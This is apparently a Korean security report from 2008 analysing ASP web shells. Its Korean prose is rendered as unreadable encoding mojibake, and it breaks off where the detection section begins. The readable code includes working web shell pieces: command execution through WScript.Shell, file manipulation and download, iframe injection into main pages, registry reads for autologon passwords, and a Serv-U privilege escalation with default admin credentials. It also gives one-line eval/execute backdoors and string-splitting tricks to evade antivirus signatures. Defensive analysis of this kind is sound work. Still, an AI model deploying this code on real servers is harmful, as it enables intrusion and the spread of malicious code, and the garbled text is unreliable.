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Á¦¸ñ ASP À¥½© »ó¼¼ ºÐ¼® ¹× ŽÁö ¹æ¾È
÷ºÎÆÄÀÏ 200805.pdf ÀÛ¼ºÀÏ 2008-09-18 12:44:19
ASP À¥½© »ó¼¼ ºÐ¼® ¹× ŽÁö ¹æ¾È

1. °³ ¿ä

°¡. À¥½©À̶õ?
À¥½©À̶õ °ø°ÝÀÚ°¡ ¿ø°Ý¿¡¼­ ´ë»ó À¥¼­¹ö¿¡ ¸í·ÉÀ» ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÀÛ¼ºÇÑ À¥ ½ºÅ©¸³Æ® (asp, jsp, php, cgi) ÆÄÀÏÀÌ´Ù. À̶§ zip, jpg, doc¿Í °°Àº µ¥ÀÌÅÍ ÆÄÀÏÁ¾·ù ÀÌ¿Ü¿¡ ¾ÇÀÇÀûÀ¸·Î Á¦ÀÛµÈ ½ºÅ©¸³Æ® ÆÄÀÏÀÎ À¥½©À» ¾÷·ÎµåÇÏ¿© À¥ ¼­¹ö¸¦ ÇØÅ·ÇÏ´Â »ç°í°¡ ºó¹øÈ÷ ¹ß»ýÇÏ°í ÀÖ´Ù. ÃÖ±Ù¿¡´Â ÆÄÀÏ ¾÷·Îµå»Ó¸¸ ¾Æ´Ï¶ó SQL Injection°ú °°Àº À¥ Ãë¾àÁ¡À» °ø°ÝÇÑ ÈÄ Áö¼ÓÀûÀ¸·Î ÇÇÇؽýºÅÛÀ» °ü¸®ÇÒ ¸ñÀûÀ¸·Î À¥½©À» »ý¼º ÇÑ´Ù.

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³ª. À¥½©ÀÇ À§Ç輺
2007³âµµ ÀÎÅͳÝħÇØ»ç°í´ëÀÀÁö¿ø¼¾ÅÍ(www.krcert.or.kr)¿¡¼­ ÇÑ ÇØ µ¿¾È ºÐ¼®Çß´ø ÇÇÇØ À¥¼­¹ö Áß À¥½©ÀÌ ¹ß°ßµÈ À¥¼­¹ö´Â ÃÑ 91%ÀÇ ºÐÆ÷¸¦ º¸¿´´Ù. ÀÌ°ÍÀº °ø°ÝÀÚµéÀÌ Ãë¾àÁ¡À» °ø°Ý ÇÑ ÈÄ À¥½©À» ¾÷·ÎµåÇÏ¿© ½Ã½ºÅÛÀ» ÅëÁ¦ÇϱⰡ ¼ö¿ùÇÏ´Ùº¸´Ï »ç¿ë ºóµµ°¡ ³ôÀº °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.

À¥ Ãë¾àÁ¡À» ÅëÇØ ÇÇÇؽýºÅÛ¿¡ Á¢±ÙÇÑ °ø°ÝÀÚ´Â ¹æÈ­º®¿¡¼­ Á¢±ÙÀ» Çã¿ëÇÏ´Â HTTP (80/tcp) ¼­ºñ½º¸¦ ÅëÇØ ÇÇÇؽýºÅÛÀ» Á¦¾î ÇϹǷΠÀ¥½©À» Â÷´ÜÇϱⰡ ½±Áö ¾Ê´Ù.

ÇÇÇؽýºÅÛ¿¡¼­ ¼öÁýµÈ ASP À¥½© »ùÇà ÇÑ °³¸¦ http://www.virustotal.com »çÀÌÆ®¿¡¼­ °¢ ¹ÙÀÌ·¯½º ¹é½Å ¿£Áø ŽÁö°á°ú¸¦ È®ÀÎÇÏ¿´´Ù. ¾Æ·¡ ±×¸²°ú °°ÀÌ ¸¹Àº ±¹³»¿Ü ¹é½Å»ç¿¡¼­ ŽÁö ¸øÇÏ°í ÀÖÀ¸¸ç °ø°ÝÀÚµéÀº ½ºÅ©¸³Æ® À¥½©µéÀ» ºó¹øÈ÷ º¯°æ½ÃÄÑ »ç¿ëÇϱ⠶§¹®¿¡ ¹é½Åµé·Î¼­´Â ŽÁöÇϱⰡ ½±Áö ¾Ê´Ù.

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´Ù. À¥½© ÃֽŠµ¿Çâ
o ÀÎÁõµÈ °ø°ÝÀÚ¸¸ »ç¿ë°¡´ÉÇϵµ·Ï Æнº¿öµå¸¦ ÀԷ¹ްųª, ƯÁ¤ ¼¼¼Ç °ªÀ¸·Î ¼¼ÆÃÇؾ߸¸ ±â´É µéÀ» »ç¿ëÇÒ ¼ö ÀÖ´Â À¥½©µéÀÌ ¸¹´Ù.

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o ASPÀÇ eval, execute ¸Þ¼Òµå µîÀº ¿ø°Ý¿¡ ÀÖ´Â °ø°ÝÀڷκÎÅÍ À¥½© ½ÇÇàÄڵ带 Àü´Þ ¹Þ¾Æ ½ÇÇà Çϴµ¥ ¸¹ÀÌ ÀÌ¿ëµÇ°í ÀÖ´Ù. ÀÌ °°Àº Eval, Execute ÄÚµå´Â Á¤»óÀûÀÎ ½ºÅ©¸³Æ® ÆÄÀÏ¿¡µµ »ðÀÔÀÌ °¡´ÉÇØ À¥½© ŽÁö°¡ ´õ¿í ¾î·Á¿öÁö°í ÀÖ´Ù.

o ÃÖ±Ù °¢ ¹é½Å »ç, °ü¸®Àڵ鿡 ÀÇÇØ À¥½© ŽÁö°¡ ´Ã¾î °ø°ÝÀÚµéÀº ¿©·¯ ±â´ÉÀ» ÇÏ´Â À¥½© Äڵ带 °¢ ±â´Éº°·Î À¥½©µéÀ» ºÐ¸®ÇÏ¿© »ç¿ëÇÏ°í ÀÖ´Ù. ±× Áß ÆÄÀÏ »ý¼º ±â´É, DB Äõ¸® ±â´ÉÀ» ÇÏ´Â À¥½© ÆÄÀϵéÀÌ ºó¹øÇÏ°Ô ¹ß°ßµÇ°í ÀÖ´Ù.

o ASP ½ºÅ©¸³Æ®ÀÇ °æ¿ì À¥ ¼Ò½º¸¦ º¸È£Çϱâ À§ÇØ ÀÎÄÚµùÇÏ´Â Script Encoder¸¦ Á¦°øÇÏ°í ÀÖ´Ù.
ÀÌ·¯ÇÑ ÀÎÄÚ´õ¸¦ ¾Ç¿ëÇÏ¿© À¥½©À» ÀÎÄÚµùÇÏ°í ¹é½ÅŽÁö¸¦ ¿ìȸÇÏ°í ÀÖ´Ù.

o °ø°ÝÀÚµéÀº À¥½©ÀÌ ¾÷·Îµå µÇ¾îÀÖ´Â ÇÇÇؽýºÅÛ À¥½© URLÀ» °ü¸®Çϱâ À§ÇØ °ü¸®ÇÁ·Î±×·¥µéÀ» »ç¿ëÇÏ°í ÀÖ´Ù. Áß±¹ ÇØÄ¿µéÀº ¾Æ·¡¿Í °°Àº °ü¸®ÇÁ·Î±×·¥À» °³¹ßÇÏ¿© ÀڽŵéÀÌ Àå¾ÇÇß´ø ÇÇÇØ »çÀÌÆ®µéÀ» ü°èÀûÀ¸·Î °ü¸®ÇÏ°í ÀÖ´Ù.

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2. ASP À¥½© »ó¼¼ ºÐ¼®
ÃÖ±Ù ±¹³»¿¡¼­ ¹ß»ýÇÏ°í ÀÖ´Â ÇÇÇØ ½Ã½ºÅÛ À¥¼­¹ö ´ëºÎºÐÀº À©µµ¿ì°¡ Â÷ÁöÇÏ°í ÀÖ´Ù. À©µµ¿ì, IIS, ASP ȯ°æÀÇ »çÀÌÆ®µéÀÌ Æ¯È÷ SQL Injection °ø°Ý¿¡ Ãë¾àÇÒ °æ¿ì ÀÌ·¯ÇÑ Ãë¾àÁ¡À» ÀÌ¿ëÇÏ´Â ÀÚµ¿È­ °ø°Ý µµ±¸µé·Î ÀÎÇØ ½±°Ô ¾Ç¼ºÄÚµå À¯Æ÷Áö, °æÀ¯Áö·Î ¾Ç¿ëµÇ°í ÀÖ´Ù. ÀÌ·¯ÇÑ À©µµ¿ì ÇÇÇؽýºÅÛÀ» °ø°ÝÇϴµ¥ ¸¹ÀÌ »ç¿ëµÇ´Â ASP À¥½©ÀÇ ±â´É°ú µ¿Çâ¿¡ ´ëÇØ »ó¼¼È÷ »ìÆ캸µµ·Ï ÇÏ°Ú´Ù.

°¡. °¢ ±â´Éº° À¥½© ºÐ¼®

¡á ¸í·É¾î ¹× °¢Á¾ ¾îÇø®ÄÉÀÌ¼Ç ½ÇÇà
ASP À¥½©¿¡¼­´Â À©µµ¿ì¿¡¼­ ½Ã½ºÅÛ ¸í·É¾î³ª ¿ÜºÎ ÇÁ·Î±×·¥À» ½ÇÇàÇϱâ À§ÇØ Wscript.Shell, Shell.Application ¿ÀºêÁ§Æ®¸¦ ÀÌ¿ëÇÑ´Ù. Wscript.Shell ¿ÀºêÁ§Æ®´Â ¸Þ¼Òµå Run, Exec¸¦ ÀÌ¿ëÇÏ¿© ½Ã½ºÅÛ ¸í·É¾î ¹× ¿ÜºÎ ÇÁ·Î±×·¥À» ½ÇÇàÇÒ ¼ö ÀÖ´Ù.

o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (¡°WScript.Shell¡±)
Call WshShell.Run (cmd, 0, True)
Set WshShell = CreateObject (¡°WScript.Shell¡±)
Set oExec = WshShell.Exec (cmd)

½Ã½ºÅÛ ¸í·É¾î ¶Ç´Â ÇÁ·Î±×·¥À» ½ÇÇàÇÒ ¼ö ÀÖ´Â ¶Ç ´Ù¸¥ ¹æ¹ýÀº Shell.Application ¿ÀºêÁ§Æ®ÀÇ
ShellExecute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù.

o Shell.Application
- Shellexecute¡° Application¡±,¡° Argument¡±,¡° Path¡±,¡° ¡±, 1
set objShell = CreateObject(¡°Shell.Application¡±)
objShell.ShellExecute ¡°notepad.exe¡±, ¡° ¡±, ¡° ¡±, ¡°open¡±, 1

¡á ÆÄÀÏ Á¶ÀÛ
ÆÄÀÏ°ü·Ã Á¶ÀÛÀº Scripting.FileSystemObject, Shell.Application, Adodb.Stream ¿ÀºêÁ§Æ®¸¦ »ç¿ëÇÑ´Ù. ÀÌ Áß¿¡¼­ Scripting.FileSystemObject, Adodb.Stream À» ÀÌ¿ëÇÑ ÆÄÀÏ Á¶ÀÛ ¹æ¹ý¿¡ ´ëÇØ »ìÆ캸µµ·Ï ÇÏ°Ú´Ù.

o Scripting.FileSystemObject
- ÆÄÀÏ ¸®½ºÆÃ
Set fso = CreateObject(¡°Scripting.FileSystemObject¡±)
Set f = fso.GetFolder(folderpath)
Set fp = f.Files
For Each f1 in fp
s = s & f1.name
Next

- ÆÄÀÏ º¸±â
fso´Â Scripting.FileSystemObject·Î »ý¼ºÇÑ ¿ÀºêÁ§Æ®ÀÌ´Ù.
Set f = fso.OpenTextFile(¡°c:\testfile.txt¡±)
ra = f.ReadAll

- ÆÄÀÏ »ý¼º ¹× ¼öÁ¤
Set MyFile = fso.CreateTextFile(¡°c:\testfile.txt¡±, True)
MyFile.Write Contents

- ÆÄÀÏ À̵¿ ¹× »èÁ¦
fso.CopyFile Path1, Path2
fso.CopyFolder Path1, Path2
fso.DeleteFile Path
fso.DeleteFolder Path

¡á ÆÄÀÏ ´Ù¿î·Îµå
o Adodb.Stream
Set stream = Server.CreateObject¡±Adodb.Stream¡±)
stream.Open
stream.Type = 1
stream.LoadFromFile(Path)
Response.AddHeader ¡°Content-Disposition¡±, ¡°attachment; filename=¡± & FileName
Response.AddHeader ¡°Content-Length¡±, stream.Size
Response.Charset = ¡°UTF-8¡±
Response.ContentType = ¡°application/octet-stream¡±
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing

¡á ÆÄÀÏ ¾÷·Îµå
Adodb.Stream ¿ÀºêÁ§Æ®¸¦ ÀÌ¿ëÇÏ¿© ÆÄÀÏÀ» ¾÷·Îµå ÇÑ´Ù. °ü·Ã ¸Þ¼ÒµåµéÀº ¾Æ·¡¿Í °°´Ù.
¡Ø ±¸Çö ¿¹Á¦ ÄÚµå »ý·«
o Adodb.Stream
- Write
- Read
- SaveToFile

¡á À¥ÆäÀÌÁöµé¿¡ ¾Ç¼º½ºÅ©¸³Æ® »ðÀÔ ±â´É
À¥½©¿¡¼­´Â ¾Ç¼ºÄڵ带 À¯Æ÷Çϱâ À§ÇØ °¢ html ÆÄÀϵéÀ̳ª ½ºÅ©¸³Æ® ÆÄÀÏ¿¡ ¾Ç¼º ½ºÅ©¸³Æ® (iframe)¸¦ »ðÀÔÇÏ´Â ±â´ÉÀÌ ÀÖ´Ù.

o Á¤±ÔÇ¥Çö½ÄÀ¸·Î ¾Æ·¡¿Í °°ÀÌ ¾Ç¼º½ºÅ©¸³Æ®¸¦ »ðÀÔÇÒ ÆÄÀϸíÀ» Á¤ÀÇÇÑ´Ù. default, index main µî ȨÆäÀÌÁö ¸ÞÀÎÆäÀÌÁö À̸§À» °®´Â html ÆÄÀϵéÀ̳ª ½ºÅ©¸³Æ® ÆÄÀϵéÀ» Á¤±ÔÇ¥Çö ½ÄÀ¸·Î ã´Â´Ù.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

o ±×¸®°í ¾Æ·¡¿Í °°Àº iframe ¾Ç¼º ½ºÅ©¸³Æ® Äڵ带 »ðÀÔÇÑ´Ù.
-
¢Â Á¤±Ô Ç¥Çö½ÄÀ¸·Î ÆÄÀÏÀ̸§À» °Ë»çÇÏ¿© ¸ÞÀÎ ÆäÀÌÁö¸¦ ã´Â´Ù.
Set regEx=New RegExp
regEx.Pattern=¡±(¡¬¡¬|¡¬/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)¡¬b¡±
regEx.IgnoreCase=True
retVal=regEx.Test(path)

¢Â À§ Á¤±Ô Ç¥Çö½ÄÀ¸·Î °Ë»öµÈ ÆÄÀÏÀÇ ³¡¿¡ iframe Äڵ带 »ðÀÔÇÑ´Ù.
Set fs=Server.createObject(¡°Scripting.FileSystemObject¡±)
Set f=fs.GetFile(path)
Set f_addcode=f.OpenAsTextStream(8,-2) // Æ÷ÀÎÅÍ´Â ÆÄÀÏ ³¡À¸·Î À̵¿ÇÏ°í ¾²±â ¸ðµå·Î ¿¬´Ù
f_addcode.Write ¡°¡±
f_addcode.Close

¡á µ¥ÀÌÅͺ£À̽º ¿­¶÷ ¹× Á¶ÀÛ
µ¥ÀÌÅͺ£À̽º¿¡ Á¢¼ÓÇϱâ À§Çؼ­´Â Adodb.Connection ¿ÀºêÁ§Æ®¸¦ »ç¿ëÇÏ°í ¾Æ·¡¿Í °°Àº ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© µ¥ÀÌÅͺ£À̽º ¿¬°á ¹× SQL Äõ¸® ¹®µéÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Ù.
Set Con = Server.CreateObject(¡°Adodb.Connection¡±)
Con.Open ¡°Provider=SQLOLEDB;Data
Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD¡±
SQL = ¡°SELECT * FROM table¡±
Set RS = Con.Execute(SQL)

¡á ·¹Áö½ºÆ®¸® Á¶ÀÛ
À©µµ¿ì´Â ¸ðµç ½Ã½ºÅÛ ±¸¼º Á¤º¸³ª »ç¿ëÀÚ ¼³Á¤ Á¤º¸¸¦ ·¹Áö½ºÆ®¸®¿¡ ÀúÀåÇÑ´Ù. À¥½©¿¡¼­´Â ¾Æ·¡¿Í °°Àº Wscript.Shell ¿ÀºêÁ§Æ®¿Í °ü·Ã ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© ·¹Áö½ºÆ®¸® È®ÀÎ ¹× Á¶ÀÛ ÇÑ´Ù.

¡Ø ±¸Çö ¿¹Á¦ ÄÚµå »ý·«
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
À¥½©¿¡¼­ ÂüÁ¶ÇÏ´Â ·¹Áö½ºÆ®¸® °ªµéÀº ¾Æ·¡¿Í °°´Ù.
- Å͹̳Π¼­ºñ½º Æ÷Æ®, PortNumber Å° °ª º¯°æ
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
- À©µµ¿ì ÀÚµ¿À¸·Î ·Î±×ÀÎ Å° °ª(autoadminlogon)ÀÌ ¼³Á¤µÇ¾î ÀÖ´Â °æ¿ì µðÆúÆ® »ç¿ëÀÚ À̸§
(DefaultUserName)°ú Æнº¿öµå(DefaultPassword)¸¦ È®ÀÎ
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
- ÄÄÇ»ÅÍ À̸§ È®ÀÎ
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
- ÀÍ¸í »ç¿ëÀÚ Á¢¼Ó ¿©ºÎ ¹× °øÀ¯ Á¤º¸ È®ÀÎ
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
redNetDrives
- º¸¾È ÇÊÅ͸µ ¹× Æ÷¿öµù ¿©ºÎ È®ÀÎ
HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
- ³×Æ®¿öÅ© Ä«µå Á¤º¸ È®ÀÎ
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind

¡á ½Ã½ºÅÛ Á¤º¸ È®ÀÎ
À¥½©¿¡¼­ GetObject ¸Þ¼Òµå¸¦ ÀÌ¿ëÇØ ¼­ºñ½º¿Í »ç¿ëÀÚ À庸¸¦ È®ÀÎ ÇÑ´Ù.

o ¼­ºñ½º È®ÀÎ
Set ComputerObj = GetObject(¡°WinNT://MYCOMPUTER¡±)
ComputerObj.Filter = Array(¡°Service¡±)
For Each Service in ComputerObj
WScript.Echo ¡°Service display name = ¡° & Service.DisplayName
WScript.Echo ¡°Service account name = ¡° & Service.ServiceAccountName
WScript.Echo ¡°Service executable = ¡° & Service.Path
WScript.Echo ¡°Current status = ¡° & Service.Status
Next

o »ç¿ëÀÚ Á¤º¸È®ÀÎ
Set objComputer = GetObject(¡°WinNT://.¡±)
objComputer.Filter = Array(¡°User¡±)
For Each objUser in objComputer
WScript.Echo objUser.Name
Next

¡á ¾îÇø®ÄÉÀÌ¼Ç Ãë¾àÁ¡À» ÅëÇÑ ·ÎÄà ±ÇÇÑ»ó½Â

À¥¿¡¼­ ½ÇÇàµÇ´Â ¸ðµç ÆÄÀϵéÀº ±âº»ÀûÀ¸·Î ÀÎÅÍ³Ý °Ô½ºÆ® °èÁ¤À¸·Î À¸·Î ½ÇÇàµÈ´Ù. À¥½©Àº ÀÌ·¯ÇÑ Á¦ÇÑµÈ ±ÇÇÑÀ» °ü¸®ÀÚ ±ÇÇÑÀ¸·Î »ó½Â½ÃÅ°±â À§ÇØ Ãë¾àÁ¡ ÀÖ´Â Serv-U ÇÁ·Î±×·¥À» ÀÌ¿ëÇÑ´Ù.
Serv-U 3.x ~ 5.x´Â ·ÎÄà ±ÇÇÑ »ó½Â Ãë¾àÁ¡ÀÌ ÀÖÀ¸¸ç À̸¦ ÀÌ¿ëÇÏ¿© »õ·Î¿î °ü¸®ÀÚ °èÁ¤À» »ý¼ºÇÒ ¼ö ÀÖ´Ù. Ãë¾àÁ¡À» °ø°ÝÇÏ´Â °úÁ¤Àº ¾Æ·¡¿Í °°´Ù.

o Serv-U 3.x ~ 5.x ¹öÀüÀÇ ServUDaemon.exe ´Ù¿î·Îµå ¹× ½ÇÇà (TzoLibr.dll ÇÊ¿ä)
o Serv-U µðÆúÆ® ¾ÆÀÌÇÇ/Æ÷Æ®(127.0.0.1/43958) ·Î Á¢¼Ó ÈÄ
o Serv-U µðÆúÆ® °ü¸® ¾ÆÀ̵ð/Æнº¿öµå·Î ·Î±×ÀÎ
- USER LocalAdministrator (µðÆúÆ® ¾ÆÀ̵ð)
- PASS #l@$ak#.lk;0@P (µðÆúÆ® Æнº¿öµå)
o Serv-U¿¡ ½Å±Ô µµ¸ÞÀÎ »ý¼º
o Serv-U ¸í·É¾î ½ÇÇà¿¡ ÇÊ¿äÇÑ Serv-U »ç¿ëÀÚ Ãß°¡
o ¡°SITE EXEC¡° Serv-U ³»ºÎ ½ºÅ©¸³Æ®¸¦ ÅëÇÑ ½Ã½ºÅÛ ¸í·É¾î ¼öÇà

set a=Server.CreateObject(¡°Microsoft.XMLHTTP¡±)
a.open ¡°GET¡±, ¡°http://127.0.0.1:¡± & port & ¡°/goldsun/upadmin/s1¡±,True, ¡°¡±, ¡°¡±
a.send loginuser & loginpass & ¡°SITE MAINTENANCE¡± & deldomain & newdomain &
newuser & quit
set session(¡°a¡±)=a
set b=Server.CreateObject(¡°Microsoft.XMLHTTP¡±)
b.open ¡°GET¡±, ¡°http://127.0.0.1:¡± & ftpport & ¡°/goldsun/upadmin/s2¡±, True, ¡°¡±, ¡°¡±
b.send ¡°User go¡± & vbCrLf & ¡°pass od¡± & vbCrLf & ¡°SITE EXEC ¡° & cmd & vbCrLf & quit
set session(¡°b¡±)=b

³ª. ½ºÅ©¸³Æ® ÀÎÄÚµù
¸¶ÀÌÅ©·Î¼ÒÇÁÆ®ÞäÀÇ À©µµ¿ì ½ºÅ©¸³Æ®´Â Script Encoder¸¦ Á¦°øÇÏ¿© ÀÏ¹Ý »ç¿ëÀÚµéÀÌ ½ºÅ©¸³Æ® ³»¿ëÀ» È®ÀÎÇÏ´Â°Ô ½±Áö ¾Êµµ·Ï ÇÏ°í ÀÖ´Ù. ÇÏÁö¸¸ À¥½©À» ¾÷·ÎµåÇÑ °ø°ÝÀÚ°¡ ÀÌ·¯ÇÑ ±â´ÉÀ» ¾Ç¿ëÇÏ¿© °ü¸®ÀÚ°¡ À¥½©À» ½±°Ô ãÁö ¸øÇϵµ·Ï ¹é½ÅŽÁö¸¦ ¿ìȸ Çϴµ¥ ÀÌ¿ëÇÏ°í ÀÖ´Ù.

http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

Script Encoder´Â Äָܼðµå¿¡¼­ ¸í·É¾î ¶óÀÎÀ¸·Î ½ÇÇàµÇ¸ç ´ÙÀ½°ú °°ÀÌ »ç¿ëÇÑ´Ù.

SCRENC [switches] inputfile outputfile

ÀÏ¹Ý asp ½ºÅ©¸³Æ®¸¦ ÀÎÄÚµù ÇÏ¸é ¾Æ·¡¿Í °°Àº °á°ú°¡ µÈ´Ù.
ÀÏ¹Ý ¼Ò½º
ÀÎÄÚµù ¼Ò½º
<%@ LANGUAGE = VBScript.Encode %>
[±×¸²] scrdec18 ÇÁ·Î±×·¥À» ÀÌ¿ëÇÑ µðÄÚµù

´Ù. ªÀº À¥½©
ASP À¥½© Áß eval, execute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© °ø°ÝÀڷκÎÅÍ À¥½© Äڵ带 Àü´Þ ¹Þ¾Æ ½ÇÇàÇϴ ªÀº ¼Ò½º ÄÚµåµéÀÌ ÀÖ´Ù. ÀÌ°°ÀÌ ÂªÀº ¼Ò½ºÄڵ尡 Á¤»óÀûÀÎ ¼Ò½º¿¡ »ðÀÔµÇ¾î ½ÇÇàµÇ´Â °æ¿ìµµ ÀÖÀ¸¹Ç·Î °ü¸®ÀÚµéÀÇ °¢º°ÇÑ ÁÖÀÇ°¡ ÇÊ¿äÇÏ´Ù.

- eval (expression) : eval ÇÔ¼ö´Â expressionÀ¸·Î Á¤ÀÇµÈ Äڵ带 Æò°¡ÇÏ¿© °á°ú(True, False)¸¦ ¾Ë·ÁÁØ´Ù.
- execute (expression) : execute ÇÔ¼ö´Â expressionÀ¸·Î Á¤ÀÇµÈ Äڵ带 ½ÇÇàÇÏ¿© °á°ú¸¦ ¾Ë·ÁÁØ´Ù.

eval, execute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÑ À¥½© ±¸µ¿ ¹æ¹ýÀº ¾Æ·¡ °³¿äµµÃ³·³, ¸ÕÀú °ø°ÝÀÚ´Â ÇÇÇؽýºÅÛ¿¡ À¥½© Äڵ带 º¸³»´Â html Æû(2006_lite.asp.html)À» ÁغñÇÏ°í ±× Æû¿¡ À¥½© Äڵ带 ³Ö¾î ÇÇÇØ ½Ã½ºÅÛ À¥½©(server.asp)¿¡ Àü¼ÛÇÑ´Ù. ÇÇÇؽýºÅÛ¿¡¼­´Â À¥½© Äڵ带 Àü´Þ ¹Þ¾Æ execute, eval ¸Þ¼Òµå·Î ½ÇÇàÇÏ°í execute ¸Þ¼Òµå´Â °á°ú¸¦ °ø°ÝÀÚ¿¡°Ô Àü´ÞÇØ ÁØ´Ù. (eval ¸Þ¼Òµå´Â Äڵ带 ½ÇÇàÇÏ°í °á°ú¿¡ ´ëÇÑ True, False ¸¸À» ¾Ë·ÁÁֹǷΠÀûÀýÇÑ °á°ú¸¦ °ø°ÝÀÚ¿¡°Ô ¾Ë·ÁÁÖÁö´Â ¸øÇÑ´Ù)

[±×¸²] execute, eval Äڵ带 ÀÌ¿ëÇÑ À¥½© ½ÇÇà ¹æ¹ý

¡á eval ÄÚµå
´ÙÀ½Àº ÇÇÇؽýºÅÛ¿¡¼­ ¹ß°ßµÈ eval ÄÚµå À¯ÇüÀÌ¸ç ¾Æ·¡¿Í °°ÀÌ ÇÑ ÁÙ, ªÀº ÄÚµå·Î ÀÌ·ç¾îÁø´Ù.
- <%eval request(¡°l¡±)%>
- <%eval(request(¡°#¡±))%>

¡á execute ÄÚµå
´ÙÀ½Àº ÇÇÇؽýºÅÛ¿¡¼­ ¹ß°ßµÈ execute ÄÚµå À¯ÇüÀÌ´Ù.
- <%execute request(¡°l¡±)%>
- <%If Request(¡°#¡±)<>¡±¡± Then Execute(Request(¡°#¡±))%>

¡á execute ¼¼¼Ç À¯Áö ¿ë ÄÚµå
execute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÑ ÂªÀº ÄÚµåÀÇ °æ¿ì °ø°ÝÀÚ°¡ ½ÇÇàÇϱ⠿øÇÏ´Â Äڵ带 À§ °³¿äµµ ±×¸²Ã³·³ ¸Å¹ø Àü¼ÛÇØÁÖ¾î¾ß ÇÏ´Â ¹ø°Å·Î¿òÀÌ ÀÖ´Ù. ±×·¡¼­ °ø°ÝÀÚµéÀº Çѹø ³Ñ°ÜÁØ Äڵ带 ½ÇÇàÇÑ °á°ú¸¦ ¼¼¼ÇÀ¸·Î ¿¬°áÇÏ¿© ´ÙÀ½¿¡´Â Äڵ带 ³Ñ°ÜÁÙ ÇÊ¿ä ¾øÀÌ ½ÇÇà °á°ú¿¡¼­ ´ÙÀ½ ¸Þ´º·Î ³Ñ¾î°¥ ¼ö ÀÖµµ·Ï ÇÏ¿´´Ù.



¶ó. ±âŸ

¡á ¹®ÀÚ¿­ ºÐ¸®¸¦ ÀÌ¿ëÇÑ Å½Áö ¿ìȸ ±â´É
ÃÖ±Ù ¹ÙÀÌ·¯½º ¹é½ÅÀ̳ª ¼­¹ö °ü¸®ÀÚµéÀÌ À¥½© ½Ã±×´ÏÃĸ¦ ÅëÇØ À¥½© ŽÁö°¡ ¸¹¾ÆÁöÀÚ °ø°ÝÀÚ µéÀº ½Ã±×´ÏÃÄ·Î ÀÌ¿ëµÇ´Â ¹®ÀÚ¿­(¿ÀºêÁ§Æ® ¸í)µéÀ» ºÐ»ê½ÃÄÑ Å½Áö¸¦ ¿ìȸÇÏ°í ÀÖ´Ù.

- Shell.Application
¹®ÀÚ¿­À» ¿¬°áÇÏ´Â & ¿¬»êÀÚ¸¦ ÀÌ¿ëÇÏ°í °ªÀÌ ÁÖ¾îÁöÁö ¾ÊÀº º¯¼ö x¸¦ ÀÌ¿ëÇØ ¾Æ·¡¿Í °°ÀÌ
Shell.Application ¹®ÀÚ¿­À» ºÐ¸®ÇÑ´Ù.
Set sa = Server.CreateObject¡°( She¡±&x&¡±ll.Appl¡±&x&¡±ication¡±)
¡°She¡±&x&¡±ll.Appl¡±&x&¡±ication¡±=>¡° Shell.Application¡±
- WScript.Shell
Set ws = Server.CreateObject¡°( WScr¡±&x&¡±ipt.Shell¡±)

¡á ÆÄÀÏ »ý¼º À¥½©
Scripting.FileSystemObject ¿ÀºêÁ§Æ®¸¦ ÀÌ¿ëÇÏ¿© »õ·Î¿î ÆÄÀÏÀ» »ý¼ºÇÏ´Â ±â´ÉÀ» ¾Õ¼­ »ìÆì º¸¾Ò´Ù. ÃÖ±Ù Á¤»óÀûÀÎ ½ºÅ©¸³Æ®µé¿¡¼­µµ »ç¿ëÇÏ´Â CreateTextFile, Write ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© ´ÜÁö ÆÄÀϸ¸ »ý¼ºÇÏ´Â À¥½©µéÀÌ Áõ°¡ÇÏ°í ÀÖ´Ù. ÀÌ·¯ÇÑ À¥½©Àº Á¤»óÀûÀÎ ½ºÅ©¸³Æ®¿¡¼­ »ç¿ëÇÏ´Â ¿ÀºêÁ§Æ®¿Í ¸Þ¼Òµå¸¦ »ç¿ëÇϹǷΠŽÁöÇϱⰡ ½±Áö ¾Ê´Ù. ¶ÇÇÑ ÀÌ·¯ÇÑ À¥½©µéÀº ¾Õ¼­ ¼³¸íÇÑ ´Ù¾çÇÑ ±â´ÉÀ» °¡Áö´Â À¥½©À» ¾ó¸¶µçÁö »ý¼ºÇÒ ¼ö°¡ ÀÖ¾î °ü¸®ÀÚµéÀÇ ÁÖÀÇ°¡ ÇÊ¿äÇÏ´Ù.

[±×¸²] ÆÄÀÏ »ý¼º À¥½© È­¸é

3. ŽÁö ¹æ¾È

°¡. À¥½© ½Ã±×´ÏÃĸ¦ ÀÌ¿ëÇÑ ÆÄÀÏ °Ë»ö

¡á ½Ã±×´ÏÃÄ
